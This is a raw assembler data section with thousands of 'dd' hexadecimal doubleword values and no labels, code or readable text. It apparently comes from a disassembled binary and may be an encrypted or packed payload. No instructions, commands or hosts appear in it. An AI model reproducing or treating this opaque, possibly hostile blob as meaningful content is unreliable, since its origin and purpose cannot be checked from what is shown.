		dd 5E16141Ch, 0BD55BF80h, 8B641225h, 2B46044Fh,	0CA30BE71h
		dd 1F306857h, 0CC4ADA3Fh, 0C1E1995Eh, 47B76B0Bh, 0AE4D5BCAh
		dd 0B2AF5098h, 0AA5355CAh, 40114500h, 72895657h, 0B7FCB0C6h
		dd 0EB6081D1h, 0FE317DF6h, 0EE574A51h, 0E6B2879h, 43044C27h
		dd 8ADF952Fh, 25E93E7Bh, 0CFCA56C3h, 0E27949h, 3439027Fh
		dd 5FA8C150h, 0E82715B8h, 2820D496h, 4B46EA6Ch,	0D70AAD3Ch
		dd 9D956EDCh, 945D2109h, 0E1F7135Eh, 0A83DBA56h, 0EE1E4563h
		dd 0E2EEAC8Bh, 0ACC812E9h, 0FDEF545Ch, 69462F80h, 0C5935h
		dd 0A11DC8B8h, 0F1F60563h, 0DECA001h, 77535E68h, 417DC820h
		dd 0E1AF009Fh, 57606303h, 0F2C1B40Ch, 1EE91270h, 9C31EAD2h
		dd 68005BA0h, 99BD5C79h, 0B42D0E75h, 170A7248h,	2FA2C82h
		dd 436C06C0h, 0EB5D64F5h, 35023F62h, 48A52B0Eh,	82F63141h
		dd 0B22D405Bh, 0B36FE056h, 0E9DF96B9h, 3127CDEh, 564D8E06h
		dd 0B7E20721h, 0B2465407h, 91CA7DE7h, 0C19A60D5h, 8B024EEEh
		dd 0F72B0456h, 0F8E03315h, 4FA00105h, 0F0010ED7h, 0AD07442Dh
		dd 8F745642h, 0A594D657h, 633932E0h, 3C77EF3Bh,	845F417Bh
		dd 53EC7412h, 927BE52Fh, 0E758C509h, 41D4A75Bh,	0C5F0A513h
		dd 80C403FEh, 0E73012F4h, 642A09E7h, 194082B3h,	0D05D49F3h
		dd 21585E83h, 5A518E6h,	37E7B200h, 96011470h, 270820D9h
		dd 7C7403E9h, 0A2F84144h, 43D2F62Ch, 124A3ACBh,	444FA4E6h
		dd 12520FA1h, 4B5C3001h, 15ED7BD8h, 0B3C8077Eh,	52A37203h
		dd 5AA0C646h, 4CA0817Fh, 34056659h, 5BDF2915h, 0E95FF702h
		dd 0EDB178E8h, 1FAA5660h, 3F58E04Eh, 497283A5h,	0B373F23h
		dd 0B075175Ah, 4866BEB4h, 0EC18A0A4h, 0AAF773B5h, 528B4A1Bh
		dd 0F0F9BB0Ch, 3E152D9Ch, 1930534h, 0E6C309F8h,	0C17B32D7h
		dd 902C9C9Eh, 8987CCCAh, 0B47D5954h, 20F39232h,	5A047B0Ah
		dd 0FE3070B6h, 4895EA86h, 23C2564h, 0E74E4FF5h,	2FF2411Ah
		dd 0A22FE4E5h, 26F3C05Fh, 944A7CA0h, 16D06FCCh,	4934B38Dh
		dd 0E8B8D8AEh, 0BD895082h, 5F23CFDBh, 0DA067625h, 12FCE675h
		dd 0E8D4B4E9h, 0CAC2928Ah, 0E6C27D41h, 0F35F4882h, 22E78007h
		dd 53B4C930h, 872AE5B7h, 0C7CB04C0h, 810918DEh,	6F6157C6h
		dd 4DE2F05Dh, 2422679Dh, 3B791083h, 4FC3125Eh, 0D04E728Eh
		dd 7679BEDAh, 5E220D2Fh, 61612DF6h, 80E9346h, 0FD81C0F9h
		dd 607C4438h, 6F7C02F6h, 0F48054DDh, 8315E069h,	4AAA9AC7h
		dd 49DCBCF6h, 0F501192Fh, 7D2AF8Eh, 0A02909BEh,	77F18B57h
		dd 46604EB2h, 380FD1Bh,	0A6386362h, 3BD0119Bh, 0F2F242C7h
		dd 0A21D487Eh, 5ECD7229h, 0FE8928C1h, 11C871C4h, 688082D5h
		dd 0CD604BAFh, 4EB52E42h, 0ABD7D47Eh, 0B75124F0h, 3C412601h
		dd 63F5400Ah, 53D802Dh,	0F8E98989h, 8876E78Bh, 7C2D38BCh
		dd 0B2C58240h, 0A6882637h, 0E65A30CDh, 0F1028798h, 60E9DD29h
		dd 5D5A044h, 5C6C3AAAh,	2D282E7Bh, 0B57BEB07h, 8EC87B58h
		dd 0A8BBD770h, 0AA84E72h, 0FD1FC7B4h, 7ED9D95Bh, 0FA87C700h
		dd 18A0F281h, 0C7E4E6Fh, 0B42EA4A1h, 0E840D4CEh, 2455FE2Dh
		dd 258A1892h, 0E916B0D7h, 10CBC98h, 36C5AB35h, 0E6D84141h
		dd 895762CAh, 16E77031h, 84D8E9D1h, 50E2AECFh, 3564ACE1h
		dd 29752012h, 7D0907E9h, 0F5919590h, 12BDF188h,	8A9507Bh
		dd 8909391Ch, 0A6CFD1DDh, 68203999h, 59010313h,	435F2C56h
		dd 3BAC9C12h, 950F0BD2h, 0E91901F5h, 6B878ADDh,	0A55C0AF7h
		dd 6404FBFBh, 6800E863h, 3DB62BF0h, 0EE241CB0h,	2B6B1278h
		dd 289C77C8h, 0EDABCA26h, 0A23CB40h, 0E3D8E5C0h, 48097D98h
		dd 0E7027D3Dh, 3104A058h, 0D94D3BD0h, 0CB179E8Ah, 5E8F3488h
		dd 2ECDB7E4h, 5F382D53h, 0B284DEEDh, 0BB4356BAh, 85F61DEEh
		dd 0BA988FBh, 63C82E05h, 98A880E9h, 28CBF00h, 0BA5225F7h
		dd 2D3CB70Bh, 4A207567h, 0C66D9DE6h, 0E9B701B5h, 3C24EDF4h
		dd 685109EAh, 6ED95E3Eh, 3498BB80h, 2FE962A0h, 0CB51EEEDh
		dd 80DEF680h, 27687FC6h, 0EB9971A7h, 6BEEF46Ch,	5AF32813h
		dd 0C4E51EBBh, 259B0E9h, 4C52F868h, 45BA24F7h, 8D82523Fh
		dd 0C0906C6Ah, 7017DEC5h, 96BD189Ch, 0AC010841h, 0DC7E9476h
		dd 0AF250FB7h, 0BE5AE0C8h, 20898136h, 2AF2537Ah, 66038BB6h
		dd 0A35E9CB9h, 1EAEB541h, 0F5BA4B2h, 0AAF21EE4h, 906B913h
		dd 5A45C404h, 81F131E2h, 40B83AEAh, 0B160ED50h,	9BB185C7h
		dd 0E98812Ch, 338F0338h, 4991760Eh, 0E1716A05h,	38C121E5h
		dd 41AFF8A5h, 0D04A39F8h, 0BEC00FEDh, 601874DDh, 2D8D4097h
		dd 0A7171EA4h, 5D80A6Eh
		dd 14D13A07h, 2C65C3E8h, 0CA181BB3h, 0AFAC199Eh, 1D503041h
		dd 53FC3317h, 0BF260EFh, 7D51FB5Bh, 0BA203EBAh,	96D3AE5h
		dd 0FAE92CDCh, 2A851DE3h, 599AB001h, 0A7060E0Fh, 0E486102Ch
		dd 0AB3110C0h, 0F7780857h, 188D901h, 0C9016811h, 1D308C7Ch
		dd 63370880h, 524A1864h, 228D0818h, 0C6749618h,	18DBE008h
		dd 8CDE5EEh, 0DB0639F6h, 8E8A3110h, 4A3E208h, 0F920BB18h
		dd 2108C688h, 8F31188Bh, 20330871h, 10A46198h, 0C2802105h
		dd 0B0158081h, 0F17108C4h, 200C5406h, 20B1DD20h, 56207BC0h
		dd 4CB720CBh, 0D809375h, 5A4080DAh, 49B218CCh, 0D775403Eh
		dd 3086066h, 96CE3141h,	0B1753708h, 0DF749159h,	1F5B101h
		dd 9003AF8Eh, 8DB98118h, 81DC7E28h, 9B699580h, 0C0BF3EB0h
		dd 8036316h, 2010A160h,	86106D47h, 826B107Dh, 4B31FC31h
		dd 0F4288C62h, 40BD0899h, 0A9CA9463h, 538CF043h, 63543059h
		dd 0A6B5087Ah, 8A931818h, 81FA4E08h, 0D4A8575Dh, 848606D8h
		dd 30554089h, 804F6144h, 20CA83A0h, 0FC8CA012h,	0A8E10848h
		dd 0CC9001A0h, 0E6617C20h, 0D8BC59CFh, 80F68720h, 0C680A7F9h
		dd 0FEA9CC76h, 0D9C6E810h, 54183C60h, 6207E0EAh, 5F89082Ah
		dd 60D1E02h, 9365A9CBh,	0B44451E1h, 91487D5Dh, 15654F08h
		dd 57108C9Bh, 0B8E32A2Eh, 8DCC1654h, 0D922B0A8h, 0C6128580h
		dd 8235618h, 184CA637h,	40A99436h, 0FB63861Fh, 10F90C10h
		dd 18DDEF08h, 0F0202D26h, 688680D1h, 9D3B10C4h,	0C5B7F04h
		dd 0A977C9E6h, 0A98925C0h, 0D0265D5Ch, 0BA241043h, 4B987890h
		dd 0C4B3FE08h, 470D420h, 191E879Dh, 24951892h, 1F9419Ch
		dd 0A803536Eh, 66267910h, 8180718h, 33803BAAh, 0D682806Ch
		dd 0B16CEC92h, 665BA951h, 39110851h, 0A9586E34h, 0A2FF3C92h
		dd 30341B8h, 18266684h,	26953CB2h, 0C0642AF4h, 317ECD20h
		dd 0F1081429h, 182095CFh, 0C84077BCh, 4C524951h, 0A4C87024h
		dd 0C446953Ch, 85CE618h, 22803653h, 9720C476h, 828E040Bh
		dd 18675C06h, 8C36231h,	0C42472F5h, 0E8FC269Ch,	0BC8149A4h
		dd 8F4BC0EFh, 1CC78B26h, 1048D88Ch, 2C47013Bh, 13EB0275h
		dd 0B90E8D89h, 5E83DA7h, 8F440001h, 0C90B4940h,	8B2CF775h
		dd 93ACE74h, 51F003DEh,	0C0330FC2h, 4FB10F01h, 0AC2C9330h
		dd 0E83F2DEEh, 0E913A3B7h, 0A6F6F8D1h, 0A4C85216h, 1D03B8ADh
		dd 81430893h, 70388EBh,	0B7BEC02Ch, 0E936D023h,	1396513h
		dd 0D5818A6h, 0C270B19h, 80F7DB29h, 66B16A9Dh, 90C65D4Bh
		dd 17B70014h, 0F12DD61Dh, 520A0F19h, 705C829h, 0D50C8B0Bh
		dd 3104D815h, 41A351C3h, 3F1A0158h, 0E0F52CC4h,	1FCF8109h
		dd 3F646505h, 1CBBB418h, 0A704C280h, 28DDB05Bh,	9F6C06BEh
		dd 0ED07D142h, 202A1410h, 7F9622B2h, 68174BE6h,	0D8351A86h
		dd 7AC3C1EBh, 42FA1456h, 5503614h, 0D80060F7h, 3A5C81B6h
		dd 7451A832h, 427F25A9h, 2DA95EFBh, 0E9101914h,	212D3738h
		dd 1B128ED4h, 0F5903251h, 0DA62E397h, 86137553h, 185B0B30h
		dd 4EABE992h, 3AF58DE7h, 13591128h, 0BB29B568h,	17E9A42Ch
		dd 0B9011375h, 6165C6B1h, 505E2E0Ah, 0AAA6CFF6h, 0C8970A2Eh
		dd 9D2F2A27h, 98BFDFC7h, 0C55F0CF9h, 40558902h,	1ED0E915h
		dd 0F1683FC2h, 60315C4Ch, 0E5A4386h, 618FBFh, 75A1617Bh
		dd 0D7BD79E9h, 1FA1A02Ah, 686D4012h, 5658BDD2h,	85102F46h
		dd 86DE3C12h, 0E5B1E816h, 4BE6E63Ah, 0C8D44E89h, 612DD42Dh
		dd 0B24DB514h, 872FBD20h, 27A950F2h, 4AF9A3E7h,	180C55E9h
		dd 935B0106h, 3049C487h, 0BF5773h, 4B4412AFh, 36D5E94Fh
		dd 0D6BB74CFh, 4E68A5C8h, 0CEE0F876h, 0E93C11B8h, 350A41B0h
		dd 5F1E6CA5h, 0FACC400Ch, 72681698h, 0CA2BC662h, 801C5C41h
		dd 0EECE3DF6h, 5AF40706h, 8862609Eh, 4E3058E2h,	3F55F0D7h
		dd 1CB1D949h, 0C4C681E4h, 0F2242044h, 0BD9B48F2h, 73E9DB05h
		dd 0C60BF845h, 0C410F34Dh, 0CD612344h, 0B2A77A59h, 86FEF25Ah
		dd 971086F3h, 7AA78917h, 0AEDE4AD2h, 0FE9A4131h, 93698004h
		dd 6B135019h, 0A793CD01h, 4B8DAAE9h, 8462B18Ah,	50188004h
		dd 4976D668h, 7A64F505h, 0D0EA193Dh, 2CD1F62Dh,	0F902723Fh
		dd 3C13FE04h, 41EA4644h, 9818A774h, 0BAC57B23h,	3F07C9FFh
		dd 9BA59113h, 0F0B226Bh, 0CC9D1FD0h, 12C74E4Dh,	171EAB0Bh
		dd 84528A13h, 0C0D673BFh, 0C23003F4h, 8F808458h, 72885051h
		dd 33E54FD4h, 0EADB52BBh, 9E56D3EAh, 8B85D6Bh, 3B09B151h
		dd 0F508E1C0h, 0EBF15103h, 76D21625h, 0DD281C39h, 249CE82Ch
		dd 25294626h, 0F7BE0757h, 7C5BEBCAh, 7AC9041Dh,	0EE370374h
		dd 0D7663105h, 1E2F5388h, 0C943B134h, 5D22C245h, 5FF96DF5h
		dd 6E153B8Dh, 4FACF62Ah, 0BC3A5BDDh, 8D239514h,	4125B0E9h
		dd 2B25C930h, 0A5200363h, 0FB9572CCh, 22554967h, 3FC2E4Eh
		dd 81DDC6FEh, 6B1905Bh,	0C4920B68h, 957B219h, 0EE3638C2h
		dd 0BC909502h, 4DB7F087h, 2854A32Eh, 0D003645Bh, 0A2C28254h
		dd 27270009h, 5811C04h,	82D47F7h, 0E45EC02Bh, 374E0C0Ah
		dd 0CA4B6BFCh, 44725BB0h, 0F977A5Ah, 9D5C2F48h,	1E30D689h
		dd 7E4939E9h, 2F1686DFh, 0A1C8E492h, 9707FFE5h,	17E4E3F5h
		dd 0CD681C0Bh, 868A300Fh, 0C01AC525h, 0B5C1FFEAh, 0DE7CBA76h
		dd 5AF5A8C5h, 8023F3A9h, 61166F2Ch, 10B85FFEh, 0BEF9C2A4h
		dd 49625F09h, 4A82D057h, 0B79AA85Ah, 5F1094C6h,	5B1B948h
		dd 0C59EDED4h, 895E06AEh, 0ED0268FBh, 4FFE1C67h, 204D7C01h
		dd 9A599508h, 30E9686Ch, 0EAC35146h, 5717706Ah,	0E6A8584Fh
		dd 0F5B5984Ch, 41C2EE51h, 0A90B48F1h, 0EF36DCDEh, 0AB440D65h
		dd 1CC7CC8Ch, 6C372AD2h, 0AA380ED8h, 0CF316060h, 0BF092D59h
		dd 578DF70h, 7020504h, 7E4F4AE9h, 95D1C4B7h, 11300564h
		dd 0C029ADECh, 2A6CB850h, 256F02A9h, 38D16586h,	40073C3h
		dd 3E3C4C0Dh, 832D6Eh, 355A9E6Dh, 1420CECDh, 54C30BB7h
		dd 0C6712FD2h, 55C3318Bh, 0F0D20B96h, 0E34FBBA7h, 9EE9C6B6h
		dd 0B78FDBBh, 715D09A2h, 0EE83C23Fh, 0D8A7D687h, 0E085092Fh
		dd 0B8BEBC4Ch, 78F9F26h, 0F6A9538Bh, 0F700AAD6h, 5729803h
		dd 33400206h, 0EECFE970h, 81EB4F48h, 64B6C30Eh,	8ABB5304h
		dd 508913EDh, 60577532h, 0A3010822h, 495CC153h,	0CCD7F59Fh
		dd 510EC992h, 6A8E6813h, 48300823h, 8039450Ah, 1FF5FC2Ch
		dd 5EF052D2h, 8DC7C9B1h, 46D83DFh, 2C0A3A76h, 8E105B4Ch
		dd 805C3253h, 0BD8B5D71h, 798CDBC5h, 94AC1099h,	68C0525Bh
		dd 902F294Bh, 255B782Eh, 0D6E0DFF7h, 4D014F45h,	0CD2F310Dh
		dd 0CCF40579h, 90BF79D9h, 564701B0h, 0D789F5BEh, 0BCC13AB6h
		dd 0AC2AFD29h, 40BAB45Ch, 0DBF64496h, 1E73F380h, 7AE0CB4Ah
		dd 0EEE1A9D3h, 21BDE02Ah, 8D6821Fh, 7983E95h, 52DACC80h
		dd 5AB4A292h, 4A5BA379h, 0D3F2E30Ch, 7A12B0A6h,	528540B7h
		dd 0E8B03EB2h, 1BE103BDh, 68550209h, 6572196Bh,	4ED6CD7h
		dd 97278EE3h, 6A0F8335h, 3F3716B1h, 0CA098DC3h,	7B878058h
		dd 0BDD31DE5h, 2FE7FE7Ah, 57A078BDh, 53B7013Ah,	8276A50Fh
		dd 9AF8E9D8h, 9EDE9DDAh, 22A01417h, 0F0EFF65Bh,	0FD7592B2h
		dd 68CD282Ah, 0F051F92Eh, 0F8B17CD2h, 5482A747h, 0C1F542A5h
		dd 0CA7C9BF5h, 9602F07Fh, 0FE843F41h, 824FD422h, 0B9003482h
		dd 5BD57E25h, 1F70A953h, 87D7FCBDh, 536F12EEh, 9716EFDEh
		dd 0E9DA31BAh, 4E4E2870h
		dd 56C0A5A2h, 48106E68h, 4D207F98h, 0BF6614BBh,	0C727930Ah
		dd 0B181310Fh, 0E8695B59h, 0EE954921h, 2072902Dh, 5D54D736h
		dd 0E831C1EFh, 0F7070605h, 54A941E6h, 27EBB73Ah, 1AD3E987h
		dd 0A9A46ABCh, 55BF63BEh, 0A3AA87E5h, 226214ADh, 0E2486Ch
		dd 0BF776B2Dh, 8E410358h, 17497760h, 0E750258h,	0F8C12BEDh
		dd 595AE836h, 789FAF1h,	0F34271D9h, 57556A5h, 0BE7B8268h
		dd 0DFAB5E37h, 0FDADE730h, 0AFF55682h, 40F56812h, 0C050C0C0h
		dd 8AF2C183h, 294C829Ch, 0E0444AB0h, 4E9028EAh,	0E8158C6h
		dd 0A95F8ACEh, 35804649h, 72A67987h, 44FBEA1h, 0ED9300BFh
		dd 9FF399B0h, 0C680DD94h, 7494756Dh, 5E521A56h,	79C6405Ah
		dd 5E89D72Dh, 60A61F90h, 4C136817h, 5F8A5462h, 0F7341348h
		dd 909DEE95h, 7E58259Bh, 0DF977DA6h, 94685B09h,	0E62E1A63h
		dd 0C8B0094Bh, 2084FBB5h, 0EB87EACBh, 8F82C504h, 534C5EF0h
		dd 0A756343Fh, 0D2D98A5Dh, 0A3122589h, 0FA05E578h, 5A9D5020h
		dd 4D8CB5Bh, 186A78DDh,	5FE202BFh, 1060566Ch, 100B1CB8h
		dd 0D850E938h, 30E4AD33h, 3D4C463Ah, 55F254Ch, 4A521493h
		dd 4354AA07h, 0F7C03807h, 2E1A308Dh, 259D2177h,	6D24FF0h
		dd 36F3CA00h, 0C2787552h, 2BD940Ch, 1BE3C540h, 74DC441Fh
		dd 66E9CB00h, 0CE4B10A3h, 0E7E4FE26h, 8E13BF34h, 49E90B2Ch
		dd 5225D516h, 0B6694878h, 8D22D5CAh, 9C2C07Eh, 0FE98007Fh
		dd 7EB151CEh, 78F17E36h, 88593B28h, 0EDCCC250h,	0AB20E7E5h
		dd 281F58BBh, 57DF892h,	1C4C9E6Bh, 68F58E01h, 0E9003AF3h
		dd 83C08FEBh, 70490CBAh, 57F29571h, 303FC206h, 5E123546h
		dd 0C04CC105h, 0F3194014h, 0A1B0A811h, 0FA2CD34Ah, 20354F8Fh
		dd 683EB14Ah, 4646C527h, 0F1CE265Bh, 54499838h,	57300BC1h
		dd 2978804Fh, 0EE28EDDCh, 38EAE203h, 8A6C19BCh,	17222404h
		dd 0B173C144h, 14D07A75h, 5857EFA6h, 953419DEh,	82B9E960h
		dd 460F8A68h, 0B574FE53h, 5977F7BAh, 93562F0Dh,	9DC26858h
		dd 0FE2C0FA5h, 0E90ACF8Bh, 8AC675F4h, 6EAD03E2h, 76BBADE2h
		dd 0E909105Eh, 7EFE4238h, 1242AC2Bh, 43D10915h,	850BBD8h
		dd 1940C2EEh, 3FCE7730h, 21CA3D45h, 598B8DCh, 518A6D1Dh
		dd 0D71D9652h, 4262B943h, 93BBC5FEh, 2BF0EF0Ah,	0E7EC4063h
		dd 0F6684C00h, 0B1BD552Ah, 0B8CA767Fh, 0F742A37h, 205731E1h
		dd 366B15AAh, 120E1034h, 1BBCA150h, 74388420h, 23385670h
		dd 0D56EE045h, 0B52CD0A2h, 3DBA5A82h, 6242DFD1h, 21580182h
		dd 60563A5Fh, 24954565h, 0EFCB65EEh, 0A4796EC2h, 1CFBE9C6h
		dd 16D7A539h, 3848907Bh, 977080E7h, 1E9B971h, 10CEE8Fh
		dd 40EAC101h, 25C4F2DBh, 0D6747667h, 6A3DFCC9h,	0F359AF0Dh
		dd 137379A5h, 0FF0485BFh, 77BCB890h, 0FC3F4B2Fh, 44074184h
		dd 40B009A2h, 6AD7D1C2h, 0F696042Dh, 112CFB3h, 436FCB7Fh
		dd 0FDC27C89h, 68B2ACE9h, 0B6E38982h, 2F786989h, 0D84B1B69h
		dd 33BF0BECh, 0A25043DDh, 0BDC3949Fh, 0F7041E3Ch, 612568F9h
		dd 0AC4A0FB2h, 0C4F33868h, 44D605F2h, 8529798Eh, 0E95CFE1Fh
		dd 620975FFh, 6234B51Dh, 0F368773Bh, 0A7C025B8h, 4CC99BEBh
		dd 5B23F6E8h, 0AC323010h, 5001E076h, 3C2F8B35h,	0B02B3130h
		dd 9D41F99Eh, 29E1FE8Eh, 0AA14AF53h, 6507FC8h, 5D81F6BAh
		dd 0FA42343Eh, 0FAE9EA30h, 75ECAAC6h, 0E07D0EEAh, 40D0680Ah
		dd 534FE940h, 0C011B13h, 3EA0780Ah, 5CC50C83h, 0C2050998h
		dd 0F0CBB919h, 552739FBh, 0AE8AAE79h, 0E2B7A24Fh, 539BE897h
		dd 2F4978B3h, 5DDB0214h, 0F62D4F32h, 17E9D043h,	0BE1C0FB2h
		dd 419E46C7h, 0D557A997h, 0C94F06F8h, 8405F404h, 5291909Fh
		dd 370C0568h, 815A64EBh, 0F6BCE96Ch, 0D6C1804Ah, 0F62EAF76h
		dd 0F2E6892Eh, 0B503ECD5h, 0E942A879h, 0B9E369CCh, 18D13F0h
		dd 0FBBE5622h, 6C087218h, 1DE60269h, 0D57A9450h, 0EC2669E1h
		dd 2109C853h, 0E5495EF1h, 0E0F625A3h, 97519B03h, 0CCE0B55Dh
		dd 603012ACh, 0EB10EB1Bh, 0ECE90B07h, 0D3DBA6A9h, 64460938h
		dd 7081422Ch, 0DF5ADDC5h, 0C1F50C02h, 6101AD76h, 0C92F4435h
		dd 0B18328A2h, 7E79BD0Eh, 385B7727h, 7E351904h,	0E9C69AC0h
		dd 0E8F85B04h, 9C82DE91h, 62EA4C06h, 0ADE150CBh, 0D4E90511h
		dd 0ADA14011h, 8938752Ch, 4BBA489Dh, 7248060Fh,	852131E9h
		dd 0F82FA5Ch, 894A04E2h, 9AE5086h, 1D13685Ah, 0A81CA546h
		dd 94703525h, 307078CBh, 2B0C3706h, 5C97626Dh, 5EB005Fh
		dd 2DC88882h, 0CFBC3D9Eh, 0ADE94744h, 0B55D54A0h, 0D82DB845h
		dd 2C852A59h, 0BC164F96h, 5FAFD035h, 5750DB2Ah,	804A403Fh
		dd 7FA5ED27h, 22F0546Ah, 7D1A8920h, 405C0B81h, 0BCD8044Ch
		dd 0F16354Bh, 8EA871EAh, 0EA938467h, 0BB81EF0Eh, 9A642026h
		dd 631D2FEh, 160D9363h,	0F3FCE98h, 0E2532877h, 0C56C3309h
		dd 0A0F37E55h, 3522BD08h, 0FCD14041h, 2C859097h, 74182371h
		dd 756BBA6h, 0B371D67Fh, 1702332Ch, 7E4127EEh, 0E3944029h
		dd 6592484Eh, 20ACD628h, 88076CD0h, 0C5285BD8h,	4F17A1A3h
		dd 2E56F114h, 0C99390B3h, 9DBE616Eh, 17203D4Ah,	6267C968h
		dd 39934B0h, 0A4A2485Bh, 0F6A71D61h, 82BD2670h,	16ABD698h
		dd 0B93D82B8h, 9BC5CE30h, 318F05AFh, 778BFAFEh,	4ED7BC4Fh
		dd 3E1A5BA3h, 9CF510E0h, 15FC95E9h, 0F8F0A20Bh,	1C070F2Ah
		dd 59441EBAh, 0EB30EA8Fh, 541B6850h, 44ADB956h,	420FCB91h
		dd 6408804Bh, 0BD00ECB4h, 2D0326EDh, 8FA1C397h,	4ADF1EE2h
		dd 0C225433Eh, 8C5954FEh, 0F90676E3h, 8770C3FCh, 77BEF190h
		dd 0F20F7047h, 281B2CFBh, 9DE9C309h, 413A5556h,	0BE2C3FC4h
		dd 0B6F2D65h, 5FD362A8h, 9EEFB560h, 655F98B7h, 60D72618h
		dd 1FD1C0Bh, 0F7E9B841h, 0C3ED812Eh, 0CC438847h, 806BAEECh
		dd 9578B25Ah, 55F31025h, 0E952716h, 65686527h, 20E9DB90h
		dd 0DF73BDFCh, 68E1F761h, 31896DC9h, 82059B3h, 69215663h
		dd 64262500h, 652D41F1h, 0B27F74EEh, 60C1B4FAh,	6B685653h
		dd 4BC17C48h, 244817B0h, 858B713h, 8000F8A8h, 0B6523FEBh
		dd 0F3302545h, 88076794h, 7DE95BDCh, 72F401C5h,	40F0F252h
		dd 0CEBC5CFCh, 2CECB645h, 0B5E5E896h, 30287B08h, 0B330749Eh
		dd 0FB5E2726h, 18799A00h, 0FE8D165h, 0D6753325h, 79B836h
		dd 5E6A19D2h, 76A60540h, 318B2C90h, 0A0B61E0Fh,	0F60BA4B0h
		dd 0E2831B52h, 3C04419Fh, 97AEE23Bh, 0AD3BA6D9h, 9804D260h
		dd 0B812D49Ch, 11D18D5h, 1E0CBAFCh, 8B333A6Dh, 16759E0Bh
		dd 4BC69F44h, 0DE2F92B6h, 0C4B954B4h, 0E984782Ch, 9DBFE49Ah
		dd 0CAA82FB4h, 0ABEEC684h, 0EF8A54F3h, 50EA118Bh, 531AD906h
		dd 98D5031h, 0E7F60507h, 8D9E6227h, 0B62FEA19h,	0EE8F12EDh
		dd 31FDD9FBh, 691E25BEh, 90F4B420h, 10CF60E5h, 1E6A685Fh
		dd 29481995h, 0FF45DFE2h, 13C75ACh, 0E945195Dh,	0C94C3F6Fh
		dd 5C27C6FDh, 0DF400E52h, 67C00C05h, 303C7D6Dh,	6020800h
		dd 4D2AA52Dh, 13A59815h, 8AA8FFE9h, 0AE7A608Dh,	947FBA7h
		dd 0EEE9DF01h, 4855C8F5h, 4C713C63h, 0F1208F84h, 28A28747h
		dd 0EF004D24h, 84AB85DFh, 9D21B831h, 28EB80F8h,	0F4E44A4Ch
		dd 94131269h, 5EA80636h, 59003E70h, 0FE08E8C0h,	0FA8004C8h
		dd 0D5F25F78h, 0F1B65320h, 0D9B93BE1h, 45755CA2h, 5BF027B1h
		dd 0D8F6EA5Eh, 0BC4DE984h, 7E84F8Ch, 2B25E9A8h,	13F7AB1h
		dd 172D4859h, 2FD8C5E3h
		dd 0C1E9E1C1h, 5A27887Ch, 53F8BC46h, 0C9D2FA69h, 5BF8F204h
		dd 89691286h, 0A0CCAED5h, 59E7EEAh, 40E938F2h, 145985Dh
		dd 0C281FA01h, 9CA6D0Bh, 63587836h, 5811352Eh, 5A80ECD5h
		dd 20B26452h, 2D73CBD7h, 821DEC0h, 824FB02h, 20D76CE9h
		dd 0B806FEF9h, 0EA83E532h, 2AC439B6h, 5CBC5428h, 14272E56h
		dd 1BCE5720h, 293C6F21h, 8A17EF1h, 0D0E7D85Eh, 13E0A1D6h
		dd 433F3E65h, 0E8055B78h, 0E3B2E5B2h, 71E953C1h, 0F780510Ah
		dd 70B9FDC6h, 0E848E77Bh, 34772629h, 0FBB5A401h, 7C8857BEh
		dd 0F52716EEh, 640CD81Fh, 4536A05h, 0B60B61BBh,	2C12BA7Dh
		dd 181A3F0h, 75240F3h, 2CDA3189h, 2285D3C2h, 0B15F75CBh
		dd 53986FD9h, 0A3BA644Dh, 0B2D8FEE7h, 0B86A406Ch, 0E87EDD00h
		dd 2C8E2D31h, 101D90A3h, 15010B60h, 313753DFh, 0C93A598Bh
		dd 1C7EB88h, 2112E3A8h,	5CAC3156h, 4376DE00h, 58F357Ah
		dd 7A5D4D24h, 9AFF0439h, 0FB122982h, 0C2311404h, 9B2E98EFh
		dd 0F1A99964h, 0D2700AEh, 5E9D3CDDh, 3F00EAEAh,	2540544Ch
		dd 586926D8h, 6C202934h, 53665C03h, 1007B868h, 3BF10545h
		dd 0BBC22C48h, 0FB5CBD8Ah, 0ED816200h, 0F4E10AD7h, 0FEE5801h
		dd 7481965Ch, 0F576606Eh, 68FF8BF2h, 0BE817810h, 4F98543Dh
		dd 0D902EA27h, 21E9E1E5h, 301C96CAh, 0F64A5C04h, 6439CCAAh
		dd 28A2169h, 1779D3h, 2253368h,	6D9361E9h, 0A1E982B5h
		dd 84FA4C56h, 4E67FE3Ah, 8F63CC17h, 3DBACD40h, 662C1FA3h
		dd 4E1210FBh, 0EE956AF0h, 0E6E6084h, 0F9FD96EEh, 0F529F109h
		dd 668B7D5Eh, 0DCF2517Ah, 564FDDE8h, 54E963A0h,	1CBEC927h
		dd 0EFE4421Bh, 4A2D61F8h, 252ED812h, 20C6E022h,	964BD60Fh
		dd 277CA541h, 9CEE5553h, 0E22AE9E4h, 3ECB11D7h,	5496DD02h
		dd 0B5FBCB20h, 665CCE58h, 28EF12D7h, 0C4E888FBh, 7BE91EA0h
		dd 50294E4Dh, 5F4B5610h, 0C2C045ECh, 84F7C4C3h,	55D02125h
		dd 8E78B398h, 5CFC2CD6h, 80254B78h, 587AB937h, 494E6F77h
		dd 680C4E1h, 7C98103h, 594E180Eh, 86DF31EBh, 0C9206A45h
		dd 481364B8h, 568F8F1Ch, 0E28BA33h, 3A2B1284h, 9970AC6Ah
		dd 9AE00588h, 6D990473h, 906617E9h, 0FD47B522h,	629C3A4Ch
		dd 0B7ADFE8h, 0EBE01F48h, 0C3D2F680h, 10C28004h, 0B8C8E454h
		dd 574F650Bh, 96CFC07h,	0A0D4DEF4h, 4B39698Fh, 13B37C29h
		dd 0AA0A1655h, 8CBB3012h, 37CD194h, 948AC290h, 1C994CFCh
		dd 0D22B598Dh, 0D0A96B52h, 0B0669801h, 0C4F23034h, 655D1040h
		dd 0CD01B25Fh, 819F414Ch, 0F637829Bh, 0C21A1647h, 97B6788Ah
		dd 390416E0h, 0B9688D26h, 29BA8C01h, 56A89F2h, 0D980D15Bh
		dd 89802FEFh, 4E356852h, 86AE317Ch, 0AF8E2A9Fh,	8E53511Ch
		dd 0CB47D188h, 17F35B59h, 0CE9F521Fh, 0AA2DF796h, 0B1B1C293h
		dd 688F7F2Fh, 3A416239h, 0FA443581h, 51F14830h,	8B2BB85Eh
		dd 27CC131Ah, 67EA6E40h, 9FCA9B8Bh, 8740A4D8h, 0F5E9255Ch
		dd 0D4318172h, 23273951h, 6AF1D252h, 47AADF84h,	27411999h
		dd 0F791A71Ah, 0F4096DABh, 7397C250h, 80271252h, 71D2BF3Ah
		dd 29393A0Fh, 5F0CC57Ch, 87BE7080h, 51142721h, 0DD4B3CD4h
		dd 1109B4BAh, 0C0AF817Dh, 0C0DE402Eh, 0B5027BFh, 0D5F71E2Fh
